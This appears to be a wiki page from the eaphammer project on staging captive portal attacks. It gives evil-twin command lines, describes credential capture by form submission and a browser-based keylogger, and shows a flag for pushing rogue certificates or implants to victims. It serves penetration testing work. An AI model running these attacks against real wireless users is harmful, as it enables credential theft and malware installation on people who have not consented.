-
Notifications
You must be signed in to change notification settings - Fork 313
V. Performing Captive Portal Attacks
Note: you will need to generate a certificate in order to perform this attack against most EAP networks. Please refer to I. x.509 Certificate Generation for instructions on how to do this.
Note: you will need RADIUS creds in order to perform this attack against EAP implementations that use mutual authentication protocols such as MS-CHAPv2 for inner authentication. Please refer to VIII.1 - Considerations When Attacking WPA2-EAP Networks for additional information.
Note: you will need a template from which to build the captive portal. There are two example templates included with eaphammer, but they aren't designed to be particularly convincing. Using eaphammer's integrated portal cloaner is highly recommended.
To perform a captive portal attack using eaphammer, use the --captive-portal flag as shown below.
./eaphammer --bssid 1C:7E:E5:97:79:B1 \
--essid HappyMealz \
--channel 149 \
--interface wlan0 \
--captive-portal
This will cause eaphammer to execute an evil twin attack in which the HTTP(S) traffic of all affected wireless clients are redirected to a website you control. Eaphammer will leverage Apache2 to serve web content out of /var/www/html if used with the default Apache2 configuration. Future iterations of eaphammer will provide an integrated HTTP server and website cloner for attacks against captive portal login pages.
When a user visits a captive portal login page served by EAPHammer, their credentials can be captured in two ways:
- Form Submission - The user enters their credentials into the portal's input fields and submits the login form. When this occurs, the credentials are sent to EAPHammer as a POST request and subsequently logged.
-
Keystroke Capture - EAPHammer's captive portal includes a browser-based keylogger that monitors all input fields within the login page. Each time the user enters or deletes a character from an input field, the field's current value is sent to EAPHammer in realtime. The results are stored in a
user.log
file which is created in EAPHammer's root directory, along with a user ID, input field ID, and metadata about the user's device. This allows the operator to gather credentials even if the user decides not to submit the form.
So long as the selected portal template has a login form, both of these options will be enabled by default.
Some portal templates support payload delivery, allowing the captive portal page to be used to prompt the user install implants or rogue certificates. For security reasons, EAPHammer will only serve payloads that have been placed in the payloads
directory. To serve a payload using a captive portal, first place it into this directory, then use the --payload
flag to select it by name.
./eaphammer --captive-portal -e guestnet -i wlan0 --portal-template rogue-cert-prompt --lhost 10.0.0.10 --payload secure.crt
-
- XIV.1 - Interactive Mode
-
XIV.2 - Creating Certificates
--cert-wizard create
-
XIV.3 - Importing Certificates and Keys
--cert-wizard import
- XIV.4 - Listing Previously Imported or Created Certificates
--cert-wizard list
- XIV.5 - Regenerating Diffie Hellman (DH) Parameters
--cert-wizard dh
- XIV.6 - Overriding EAPHammer's Static Configuration